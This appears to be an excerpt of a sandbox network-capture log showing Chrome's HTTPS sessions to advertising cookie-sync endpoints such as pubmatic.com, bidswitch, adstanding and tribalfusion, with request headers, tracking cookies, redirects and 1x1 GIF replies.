2024-01-10 23:27:25 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:36:07 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 12:36:06 GMT; path=/ Set-Cookie: PugT=1704890166; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:36:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	50351	18.235.217.234	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	791	OUT	GET /ssp/bidswitch/cookie?bidswitch_ssp_id=pubmatic&bidswitch_custom_parameter=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1 Host: rtb.adstanding.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:25 UTC	508	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Server: Apache Expires: 0 Cache-Control: no-store Set-Cookie: _adstanding_id=f6beb7e1aec6bddd3dcac63f054c7ac0; Expires=Fri, 10 Jan 2025 23:27:25 GMT; Path=/; Domain=.adstanding.com; Secure; SameSite=None Location: https://x.bidswitch.net/sync?dsp_id=317&user_id=f6beb7e1aec6bddd3dcac63f054c7ac0&expires=30&ssp=pubmatic&bsw_param=f6435827-796b-4521-81e9-11e581628f69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	50358	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3208	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; PugT=1704889381
2024-01-10 23:27:25 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:24 GMT; path=/ Set-Cookie: PugT=1704929244; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	50359	104.18.24.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	857	OUT	GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	934	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 504 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aynoeURwEfTS2QVqs9OJKfrrvZbSpajKVn46HjRuZc; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:26 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aynoeURwEfTS2QVqs9OJKfrrvZbSpajKVn46HjRuZc; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:26 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8438b0cb689f3ae1-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-01-10 23:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	50361	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3346	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; PugT=1704929244
2024-01-10 23:27:26 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	50360	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3544	OUT	GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=40f09b66-e671-4da3-b991-c14247c4cce6&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; PugT=1704929244
2024-01-10 23:27:26 UTC	781	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ Location: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.4	50363	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3442	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; PugT=1704929244
2024-01-10 23:27:26 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	50366	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
